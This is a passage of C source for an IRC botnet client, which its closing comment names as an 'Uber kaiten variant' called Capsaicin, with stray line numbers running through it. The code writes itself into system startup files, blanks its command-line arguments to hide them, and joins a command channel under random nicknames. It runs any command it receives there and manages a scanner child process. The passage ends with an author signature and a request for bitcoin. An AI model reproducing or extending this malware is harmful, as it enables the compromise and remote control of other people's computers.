int on,i;
4260
char cwd[256],*str;
4261
FILE *file;
4262
#ifdef STARTUP
4263
str="/etc/rc.d/rc.local";
4264
file=fopen(str,"r");
4265
if(file == NULL) {
4266
str="/etc/rc.conf";
4267
file=fopen(str,"r");
4268
}
4269
if(file != NULL) {
4270
char outfile[256], buf[1024];
4271
int i=strlen(argv[0]), d=0;
4272
getcwd(cwd,256);
4273
if(strcmp(cwd,"/")) {
4274
while(argv[0][i] != '/') i--;
4275
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
4276
while(!feof(file)) {
4277
fgets(buf,1024,file);
4278
if(!strcasecmp(buf,outfile)) d++;
4279
}
4280
if(d == 0) {
4281
FILE *out;
4282
fclose(file);
4283
out=fopen(str,"a");
4284
if(out != NULL) {
4285
fputs(outfile,out);
4286
fclose(out);
4287
}
4288
}
4289
else fclose(file);
4290
}
4291
else fclose(file);
4292
}
4293
#endif
4294
for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
4295
srand((time(NULL) ^ getpid()) + getppid());
4296
nick=randstring(realrand(4, 8));
4297
ident=randstring(realrand(4, 8));
4298
user=randstring(realrand(4, 8));
4299
chan=CHAN;
4300
key=KEY;
4301
server=NULL;
4302
sa:
4303
#ifdef IDENT
4304
for (i=0;i<numpids;i++) {
4305
if(pids[i] != 0 && pids[i] != getpid()) {
4306
kill(pids[i],9);
4307
waitpid(pids[i],NULL,WNOHANG);
4308
}
4309
}
4310
pids=NULL;
4311
numpids=0;
4312
identd();
4313
#endif
4314
con();
4315
Send(sock, "NICK [%s|%s]%s\nUSER %s localhost localhost :%s\n", PREFIX, getBuild(), nick, user, ident);
4316
while(1) {
4317
unsigned long i;
4318
fd_set n;
4319
struct timeval tv;
4320
FD_ZERO(&n);
4321
FD_SET(sock,&n);
4322
tv.tv_sec=60*20;
4323
tv.tv_usec=0;
4324
if(select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
4325
for (i=0;i<numpids;i++) if(waitpid(pids[i],NULL,WNOHANG) > 0) {
4326
unsigned int *newpids,on;
4327
for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
4328
pids[on-1]=0;
4329
numpids--;
4330
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
4331
for (on=0;on<numpids;on++) newpids[on]=pids[on];
4332
free(pids);
4333
pids=newpids;
4334
}
4335
if(FD_ISSET(sock,&n)) {
4336
char buf[4096], *str;
4337
int i;
4338
if((i=recv(sock,buf,4096,0)) <= 0) goto sa;
4339
buf[i]=0;
4340
str=strtok(buf,"\n");
4341
while(str && *str) {
4342
char name[1024], sender[1024];
4343
filter(str);
4344
if(*str == ':') {
4345
for (i=0;i<strlen(str) && str[i] != ' ';i++);
4346
str[i]=0;
4347
strcpy(sender,str+1);
4348
strcpy(str,str+i+1);
4349
}
4350
else strcpy(sender,"*");
4351
for (i=0;i<strlen(str) && str[i] != ' ';i++);
4352
str[i]=0;
4353
strcpy(name,str);
4354
strcpy(str,str+i+1);
4355
for (i=0;msgs[i].cmd != (char *)0;i++) if(!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock, sender, str);
4356
if(!strcasecmp(name, "ERROR")) {
4357
if(scanPid != 0) { // Is the scanner running?
4358
if(kill(scanPid, 9) == 0) { // Kill the knights scanner if we get disconnected
4359
scanPid = 0;
4360
}
4361
}
4362
4363
close(sock); //Close old sock
4364
sleep(5);
4365
goto sa; // Start connection routine
4366
}
4367
str=strtok((char*)NULL,"\n");
4368
}
4369
}
4370
}
4371
return 0;
4372
}
4373
/*
4374
* Uber kaiten variant coded by Freak a.k.a Milenko
4375
* Capsaicin IRC botnet (New lightaidra)
4376
* @Nullzsec on twitter
4377
* NullzSec ROCKS!!!! :D
4378
* Kik: rcew
4379
* XMPP/Jabber: [email protected]
4380
* Be a homie and gimme sum btc for serv0rs pls
4381
*
4382
* Listen: https://play.google.com/music/m/Ttlmdokq4gorrhdvx7k7od5v33e?t=The_Link_-_YTCracker
4383
*/
4384